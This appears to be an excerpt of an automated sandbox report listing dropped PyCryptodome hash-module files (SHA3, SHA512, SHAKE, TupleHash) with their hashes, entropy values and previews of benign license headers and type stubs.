SHA-512:	F9A84C204734A7E38C14A8F371A358A8B04CB23E72376B54A77143B80E4C9B41914CE41D1D68C1D0BE70FDB5DE7F11BC7C4640E3B1EBBB5A23DEDF0EE4B772BF
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA3_224.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.938042917334959
Encrypted:	false
SSDEEP:	12:1REYB3vIY3uMRRypRyLXFL1AGRT7wNMS5sMVgRkhNMsaLBCUMqRy5Ryn:1REcT3d3QEXFRAcRS5IkhWsaLBwqwy
MD5:	AC7852028AC4AED442E756540D27AA6A
SHA1:	1281E2F19BCC6041AB8D5E6AE8D6CB75CC408231
SHA-256:	AB9ABF3623247F77FDE55038C8531FF4C22E70532CDEF140FA9F0B645A15AC36
SHA-512:	DAE8FFCBE304DA6899DF030BA7444F3C87454BFAF774D595BCACDF6B038C8EEAD490D1DA5F7E36735F70EC9612F43F0C3ECE0FE95341F96FB72E0E433D0E4F83
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_224_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_224_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_224_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_224_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_224_Hash: .......digest_size: int..block_size: int..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA3_256.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6353
Entropy (8bit):	4.6762672347190115
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIl3SvcESixIVskWCbaOMAXXXkHnB/:bQHvGSiJkXeSnin9
MD5:	0868D205D448B5B2B767719C736C05E1
SHA1:	8EA67599F4CA177A9DFB7779A0702D7BEF755966
SHA-256:	5F7BCA81167FE52F31335BB83CC924990DAE60A7AED2552C248F20F911C234C6
SHA-512:	679B4A54236FE8E3EB6176FF8D13FFD61380D4AB34E77CD0429E51E26EC8AD4F004FA4A987F76B98FEB8CABC8ABFF232C6B04F2647F0F31C91289E421C2EC074
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA3_256.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.9540685583606
Encrypted:	false
SSDEEP:	12:1REYB3vIY3uBRypRyLXFL1AGRT7wNC5slgRkhNcaLBCU6Ry5Ryn:1REcT3mQEXFRAc9rkh6aLB+wy
MD5:	7B1F16C4E7038211DB89A5FA930FA0EE
SHA1:	DD49BD9504AFCB162C3589155FA01D521A768600
SHA-256:	7EEF366E028519327074AADF07FEF65FD87564DEAE82A1DE1E03634A928047AB
SHA-512:	6155A0F2DD3D2DF8F7E0002AFC1EE7877917AA7094EF7D1DBB0F0DEABCD44BECB498C5C0998186C2E09F1C394BF74DE6C526054D42A78D2F552A6E67C062E58C
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_256_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_256_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_256_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_256_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_256_Hash: .......digest_size: int..block_size: int..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA3_384.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6453
Entropy (8bit):	4.700607293143974
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIlvSvlEGixIVrkW2baOMQXXtPkHnlg:bQHvPGikkXe2ntanO
MD5:	98C4CAA0CC1DA8F19316CA87DCC258CB
SHA1:	E7C38A5E01D9670BA19D51D6157BB609B194E82A
SHA-256:	B804F3AB70381FA5B7140E10F95AB9D95BD62A445BDC7400FCC3DB44869B8AE1
SHA-512:	30424090DE374504F1CE50FD8DE0BACF9596F15F9E37C57564168E8640E9CA311A85249B1C41C770561524B460A482553A80B73871C0B75ACB91E5822154D7E7
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA3_384.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.938042917334959
Encrypted:	false
SSDEEP:	12:1REYB3vIY3KHRypRyLXFL1AGRT7wDA5ULgRkhDGaLBCs4Ry5Ryn:1REcT32QEXFRAcVzkhqaLB6wy
MD5:	A889F6824941567ADFBD97E736E360AA
SHA1:	1C23C5A1FFB1F8D288974D55CE3C5AD2E6DD51BC
SHA-256:	D328A5327C257ACA3516C7C11B617D30D5E0C7C9915A32F4C6B3DDFE269DCF7F
SHA-512:	9CCF01936F3174D2EF90CC3B50631282F115D8BF952F4EA2AA4A2F7701C613D9A84DD9FAFB014F01689DDD938E22D258A071DADEBAE83A8376ECEDC6D11279A3
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_384_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_384_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_384_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_384_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_384_Hash: .......digest_size: int..block_size: int..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA3_512.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6305
Entropy (8bit):	4.697217083867846
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIlhSvzJEdixIV0xWNbaOMrXXWkHM6n:bQHvwmdibxAe5n3ME
MD5:	CECF1A897C1A3BB7B1E1D635D4B37A40
SHA1:	EE9D64CB0C064997FBBFBF9BF8B92C3969AA3CB7
SHA-256:	14062988382CAE40F806020CE67A33D9726DF2D23DEE63D00A99C592D3F2ACE0
SHA-512:	132AADB0D736D949AD5BAD8B93ED4C06001D5ED1F01F16DE70007698AE9C743C11A7FBA8A8F2C39A01EF1B69C07B6DECCCA1F633A31BBDAA3431FC963FE26E7F
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA3_512.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	624
Entropy (8bit):	4.9540685583606
Encrypted:	false
SSDEEP:	12:1REYB3vIY36WHRypRyLXFL1AGRT7wPWA5AWLgRkhPWGaLBCYW4Ry5Ryn:1REcT36WxQEXFRAcuWAGWmkhPWGaLBVF
MD5:	8356FEEC109E4373A23F69FC01C115B5
SHA1:	9825E1FC90E13C9A265835684C57B22C92BD372C
SHA-256:	5699B054358A0C556096C132C09C8B3052E5EFE815A26EDABC5AD5E896BF8E9C
SHA-512:	F9612E9C137858ECC00F2F6CB2E6564CEE149A8ED978B5552FA6CD1E89061BF395B37A92351ECB594F0D47ADD925BB53DBC573654A523CEE4E2F2D2789AAE2E5
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA3_512_Hash(object):.. digest_size: int.. block_size: int.. oid: str.. def __init__(self, data: Optional[Buffer], update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> SHA3_512_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA3_512_Hash: ..... def new(self, data: Optional[Buffer]) -> SHA3_512_Hash: .......def new(__data: Buffer = ..., update_after_digest: bool = ...) -> SHA3_512_Hash: .......digest_size: int..block_size: int..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA512.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7924
Entropy (8bit):	4.535718326603204
Encrypted:	false
SSDEEP:	96:dFQHvo7HgkIpywpIreZOTiHSR2c+tTq0iR7IuqNH93aOMqXXVMrynCaK/WxUvxWy:bQHvjyEIqZOzYTq0iONdKUnYqGgRk
MD5:	F7EBB8B3E6EC44133C11F5B75F2AC0CF
SHA1:	4F0230A067019EF92DF555B66D7505BD6229E570
SHA-256:	F4346FEB42803D175A2B4CB2A45FE82882C426A67A64C12AC1D723268D3E7726
SHA-512:	B36AF52C1CD4EC732E1C3A7DB556BCCAF400C298416DE241C763153E784D101F11914D42FF1792513B54EDBBA2297BD49A0B2BEC91AC0AC180151C647F341FE0
Malicious:	false
Reputation:	low
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHA512.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	644
Entropy (8bit):	4.856785452609936
Encrypted:	false
SSDEEP:	12:1REYB3vIY3eRypRyLu1ApJREVwu5YgR4vORNJt0Ry5Ryn:1REcT3OQEWA1EnTcUNYwy
MD5:	B3762738614E6E1B46387BD0F80C1608
SHA1:	99293AED186FBBBF4D26C3E3A9198F2969596722
SHA-256:	BB0E0DF4F3FFFB4A2B9EFE5B674D7407BBD248678B0BF2A44FF0AA07D247DBDA
SHA-512:	E3B64DDF98F09B098B52AB79D69AF3827A483E4EDA33200B91F87BEB7E37E434D9CB75170635AE509F69D7F328F6B0A9ED258E42410265CE10B263B118C4521A
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHA512Hash(object):.. digest_size: int.. block_size: int.. oid: str.... def __init__(self,.. data: Optional[Buffer],.... truncate: Optional[str]) -> None: ..... def update(self, data: Buffer) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def copy(self) -> SHA512Hash: ..... def new(self, data: Optional[Buffer] = ...) -> SHA512Hash: .......def new(data: Optional[Buffer] = ...,.. truncate: Optional[str] = ...) -> SHA512Hash: .....digest_size: int..block_size: int..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHAKE128.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4890
Entropy (8bit):	4.812843153997009
Encrypted:	false
SSDEEP:	96:M7DqrYJALrYJHdt3EHGuIWHgkIl+zui+I4w+7nC/Y/slLH3I:4qrskrs9t3q/IwuiFGC/OOLY
MD5:	6D8138E2212AEA8C9815ABA5BEBD43D9
SHA1:	62A40C2E67FC652354E9A8B3126E77F9D759A174
SHA-256:	D4B807F0F64FE07BE95C7A7F40B4D35024C3A05770C942F9B25A8782B9DE90FB
SHA-512:	66DE5F2B988B9DD0A7D497B6BBBD2920859BC79A529A6200470B6EDB52D36BFEF55A2B51A0146BCC5B08FBDDD9529F9AFCEE1E2E8B86F1731BF6BAF90051484B
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHAKE128.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	450
Entropy (8bit):	4.960253129735369
Encrypted:	false
SSDEEP:	12:1REYB3vIY3wHVXFL1ApJR4QwEh72CX5BgR48OR42:1REcT36XFRA1Nh71m7U1
MD5:	1D2E126B0EA263236F02A5B62DA5903D
SHA1:	BCA2F2DC2A69380180FFEACDB276A6CA7FFD2036
SHA-256:	FCF71DFFB424435A46138D3B0377F30E1DB2AA318600D6DAE7B123DF848D3EA2
SHA-512:	4B806AABF25A8D9A705E282EB11EE73500BC1CF71A6EBE59A35A732DE1F5CA0D960BAC124059EF85AF9A6E5A2023895D7CDB195A884A8161275D9BE237F0A518
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE128_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE128_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE128_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE128_XOF: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHAKE256.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4892
Entropy (8bit):	4.816809610030539
Encrypted:	false
SSDEEP:	96:M7DqrYJALrYJHdt3EHGuIWHgkIlHzPiPI7+7nC/Y/sl3nbI:4qrskrs9t3q/IZPiyGC/+O3M
MD5:	0B15BEEE639A9999E98C64F769F9133D
SHA1:	3D1366E4788CB51E655EC8C76AA3B7DB6FB98DF9
SHA-256:	3BE322B0801ABA422C870967EC82AF10958F370C944B3E6370EE8C2F7A1E7046
SHA-512:	B66693BFB0AAAD73F1BCEAE3DA2410EA53B3366734FDAC0985D7B0C0ACDC849BA98C2D9DA1A0C418FD1C9D757D9430C099F847E7E67B48443A3E55228ACFA0E1
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\SHAKE256.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	450
Entropy (8bit):	4.960253129735369
Encrypted:	false
SSDEEP:	12:1REYB3vIY3gHVXFL1ApJR4QwIh72CX5BgR4gOR4K:1REcT3g1XFRA1Rh71m/UZ
MD5:	7A030ACE3463C718EAA115B061D5E0CE
SHA1:	0525426CE1A9ABE207F53E953EA8E272E423D512
SHA-256:	5FF0C2256DD9F35EB7BF58D07EDC5A27E73173221079006B1AF95D0B114863A4
SHA-512:	230109D6EAC483A3DFA0E268477D860AF0DB445D89EF5E39B32A9833CC85E8FBD610C88993CABB097A60630620539191A6AC9742DAD3A7FA141600C7AC4603D5
Malicious:	false
Reputation:	low
Preview:	from typing import Union, Optional....Buffer = Union[bytes, bytearray, memoryview]....class SHAKE256_XOF(object):.. oid: str.. def __init__(self,.. data: Optional[Buffer] = ...) -> None: ..... def update(self, data: Buffer) -> SHAKE256_XOF: ..... def read(self, length: int) -> bytes: ..... def new(self, data: Optional[Buffer] = ...) -> SHAKE256_XOF: .......def new(data: Optional[Buffer] = ...) -> SHAKE256_XOF: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TupleHash128.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	5.0581555982839435
Encrypted:	false
SSDEEP:	96:MMDqrYJALrYJHdt3EHGuIWHEnGLBx9RhHAygOAHbaIfoCIUCP9lVtpCj:Nqrskrs9t3q/ImHhzvfPoj
MD5:	386FB9A133C912AF07687FA9D1EE193A
SHA1:	FCA1900C47A573551C1EE74694CB0D374C7B20C7
SHA-256:	36051EA4794AA6687E689974F315CE9CE9620EC1F9B1AB4C2F0F9C8099D87BBF
SHA-512:	1A92C554CABE3DBF6A013E685D6FB919B47A39BF2429795CA87CEC1C15405F386644F141B79923B6B79833E15ABBA02A211FA939CBB0749888ACBD304AB2AE45
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TupleHash128.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	688
Entropy (8bit):	4.533807558794474
Encrypted:	false
SSDEEP:	12:1REYBzRo8seUvIY39cHRyD1AQ0dWRFwiOtC5J3r3/V039WgtcP33/RM33dWgtW:1REEyNT39oIAvdWtrj/VGif/qns
MD5:	19A89FFFB5E19D2A439870AA97B56DF2
SHA1:	32377BCB0660A03F28324C68EF03E94D0239A1DD
SHA-256:	B5671E5E8FC4513C2E0C9F072C1A9C868656F0CD66783DC011FC4556C1BD2306
SHA-512:	466932A02E76056468E12E1984DD3EA0DE44A3544DEA95F19723BE2EBBD9887D177AB7B3F75BAAA74E74D154C396DA468AA8F5492917599154EAEF04F3546B19
Malicious:	false
Reputation:	low
Preview:	from typing import Any, Union, List, Tuple..from types import ModuleType....Buffer = Union[bytes, bytearray, memoryview]....class TupleHash(object):.. digest_size: int.. def __init__(self,.... custom: bytes,.. cshake: ModuleType,.. digest_size: int) -> None: ..... def update(self, *data: Buffer) -> TupleHash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self,... digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .......def new(digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TupleHash256.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2902
Entropy (8bit):	5.194127497375906
Encrypted:	false
SSDEEP:	48:MMWOqrYJALrYJHdG43tDs3EsIG13NcuIH2H9useGoCWxVGpYPGQ2IlstzSiwtpCj:MMDqrYJALrYJHdt3EHGuIWHdroCIUCPG
MD5:	CA7F63F5DC1A1059E168A5580E88B78B
SHA1:	4064F740C7E09083F8CF354BB24A56778D83D6A4
SHA-256:	96BB2970B54CC270DE193FB71155AFFBF54F9ACF21310AC4AD968893A478B3DF
SHA-512:	C259EF33FB4747529BF9496E3E78B9548279FDAE9BFE2E318FF8A7BFE13815500CBF4A31887A89D9DE21FFBB83897DCAC5F43AAA62C675A1A7473600B439BCCF
Malicious:	false
Reputation:	low
Preview:	# ===================================================================..#..# Copyright (c) 2021, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TupleHash256.pyi

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.609062935971047
Encrypted:	false
SSDEEP:	3:1Lx7/NULQk8xNovSyrzcAiwZJysFTMCAW6wWfFKRiZJyFrIftZMFySJINfFDy:1Lx7/NULQXNoFrzcAx3ysRMhwWfsRi3s
MD5:	0C079EDD19DA6729069C7098599200CD
SHA1:	31985EE067F54DFCA6F334621CA9018D2A61DA15
SHA-256:	0B014A808207E4C2A6375DFD6ADE40C97B5802C8F9EA76748F333C1386C6704C
SHA-512:	5DFC7A622B54993F74F2848B595FDFCB33B63E43EDE31D384D4A635B179030EFC1222545607C8B816B90AC6FB273B8937B135F42B95AEB08AB906CF899027EB4
Malicious:	false
Reputation:	low
Preview:	from .TupleHash128 import TupleHash....def new(digest_bytes: int = ...,... digest_bits: int = ...,.. custom: int = ...) -> TupleHash: .....

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\TurboSHAKE128.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3947
Entropy (8bit):	4.323340706359232
Encrypted:	false
SSDEEP:	96:+IlTHsKL8yk4PiQIXA+7nC/YlPAsAugmSfNZPqjp:bdiAGC/qAVAd
MD5:	B786224B4B79C69778DB52AC58F83E63
SHA1:	B2CCDF0809F838CFFF9C26D07857A01FE2F5AB8A
SHA-256:	512A0D196EFEDAB1E320041D54BFFBF7366C4D35EA95D7290732DB1FD8A946EA
SHA-512:	EA77F39AAC1E3EAB9966F45693591FE8F696929858D89329CB84B54D0C590A431C548188B003DF04DF513C3F33AFA2E67B30932CE5E981EF00A1B6B9D429BAD0
Malicious:	false
Reputation:	low
